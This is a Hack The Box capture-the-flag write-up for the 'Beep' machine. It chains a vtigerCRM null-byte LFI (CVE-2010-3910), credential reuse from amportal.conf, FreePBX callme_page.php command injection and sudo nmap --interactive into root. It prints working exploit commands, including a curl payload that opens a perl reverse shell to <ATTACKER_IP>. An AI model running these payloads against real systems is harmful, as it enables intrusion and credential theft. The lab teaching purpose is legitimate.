HACK THE BOX · PENETRATION TEST REPORT



BEEP

Legacy VoIP to Root — LFI, Config Secrets and sudo nmap

★ ☆ ☆ ☆ EASY

6	2	R00T
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Service Discovery

03 LFI via Null-Byte (CVE-2010-3910)

04 FreePBX Panel to RCE

05 User Flag

06 Root via sudo nmap

07 Chain Summary and Conclusions

01

Executive Summary

Beep is an Easy-rated legacy CentOS/Elastix VoIP appliance. Its age dictates the tooling — legacy TLS is needed just to talk to the web service. A null-byte LFI in vtigerCRM's `graph.php` reads a configuration file containing credentials reused across three accounts; those credentials open the FreePBX panel, whose `callme_page.php` endpoint yields RCE as `asterisk`. A NOPASSWD `sudo nmap` on an ancient nmap version is a one-line root shell.

Attack chain overview

1. Reconnaissance: a large VoIP surface; Elastix + vtigerCRM 5.1.0.
2. LFI via `graph.php?current_language=...%00` (CVE-2010-3910).
3. `amportal.conf` leaks a password reused across three accounts.
4. FreePBX panel → `callme_page.php` RCE as `asterisk`.
5. World-readable user flag captured.
6. `sudo nmap --interactive` → `!sh` → root flag captured.

02

Reconnaissance and Service Discovery

An `nmap -sC -sV` reveals a large VoIP/appliance surface — SSH, HTTP/HTTPS, SMTP, IMAP/POP, SIP, and the Asterisk management port. CentOS 5.x means legacy TLS:

```
curl --tlsv1.0 -sk https://<TARGET_IP>/ | head
curl -sk --tlsv1.0 -o /dev/null -w "%{http_code}\n" https://<TARGET_IP>/vtigercrm/   # 200
curl -sk --tlsv1.0 https://<TARGET_IP>/vtigercrm/ | grep -iE "version|vtiger"
```

```
<title>vtiger CRM 5 - Commercial Open Source CRM</title>
vtiger CRM 5.1.0
```

vtiger CRM 5.1.0 — in range for the `graph.php` LFI.

03

LFI via Null-Byte (CVE-2010-3910)

The first attempts to read the Asterisk log, then `/etc/passwd`, come back **empty**:

```
curl -sk --tlsv1.0 "https://<TARGET_IP>/vtigercrm/graph.php?current_language=../../../../../../../../etc/passwd%00"
# (empty)
```

⚠ Pitfall

Reading the vtiger source shows `current_language` is passed to `return_application_language()` in `include/utils/utils.php` — *that* is the real sink (CVE-2010-3910), not the module include. The recurring "restricted file" message comes from a *separate, later* check unrelated to our injection. When the requested file is world-readable (644) its contents appear *before* that message; when it is root-only the body is empty — a permissions problem, not a broken LFI.

So pivot from log-poisoning (blocked by permissions) to reading a config file that holds credentials:

```
curl -sk --tlsv1.0 "https://<TARGET_IP>/vtigercrm/graph.php?
module=Accounts&action=Detail&current_language=../../../../../../../../etc/amportal.conf%00"
```

```
AMPDBUSER=asteriskuser   AMPDBPASS=<REDACTED>
AMPMGRUSER=admin         AMPMGRPASS=<REDACTED>
ARI_ADMIN_PASSWORD=<REDACTED>
```

⚠ Vulnerability confirmed

`current_language` is concatenated into an `include` path and truncated with `%00`, so an arbitrary file is read (PHP < 5.3.4 null-byte behaviour). The payload passes a valid `module` / `action` so the script reaches the vulnerable function. The **same password is reused across all three accounts** — the classic Elastix credential-reuse pattern.

04

FreePBX Panel to RCE

Log into the FreePBX/Elastix admin panel with the recovered `admin` credentials (keeping the cookie), then abuse `callme_page.php`, which passes `callmenum` into an Asterisk dialplan `System` application — command injection into Asterisk's AGI context:

```
nc -lvnp 4444
curl -sk --tlsv1.0 -b cookies.txt \
  "https://<TARGET_IP>/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0AApplication:%20System%0AData:%20perl%20-MIO%20-e%20'...reverse shell to <ATTACKER_IP>:4444...'"
```

```
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 55241
whoami
asterisk
```

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

05

User Flag

```
cat /home/fanis/user.txt
```

USER FLAG

<REDACTED>

06

Root via sudo nmap

```
id           # uid=100(asterisk) gid=101(asterisk)
sudo -l
```

```
User asterisk may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /sbin/shutdown
    ... (and more)
```

⚠ Vulnerability confirmed

Rather than guess, audit which binary has a known escape: `/usr/bin/nmap` with NOPASSWD is the classic. Pre-5.30 nmap has an interactive mode that runs shell commands with `!`; combined with the NOPASSWD rule, `!sh` is an instant root shell.

```
nmap --version        # pre-5.30
sudo nmap --interactive
nmap> !sh
# id -> uid=0(root)
cat /root/root.txt
```

ROOT FLAG

<REDACTED>

07

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap + TLS fingerprint	Elastix / vtiger 5.1.0
2	File read	`graph.php` LFI (CVE-2010-3910)	`amportal.conf` credentials
3	Credential reuse	FreePBX panel login	Authenticated admin
4	Application RCE	`callme_page.php` injection	Shell as `asterisk`
5	User access	World-readable flag	User flag
6	Privilege escalation	`sudo nmap --interactive`	Root flag

Closing thoughts

Beep is as much about negotiating an old box as exploiting it — half the friction is TLS downgrades and legacy key exchange. The methodological point is that an empty LFI result is a permissions clue, not a failure: reading the source explained the "restricted file" red herring and redirected the work from log-poisoning to reading a world-readable config that handed over the credentials directly.

Key takeaways

- The OS era dictates the tooling — CentOS 5.x needs `curl --tlsv1.0` and legacy SSH KEX.
- An empty LFI result is a permissions clue; the source explained the red herring.
- A config file beats log-poisoning when permissions block it.
- Audit a NOPASSWD list before choosing — nmap's pre-5.30 `--interactive` is a one-line root shell.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.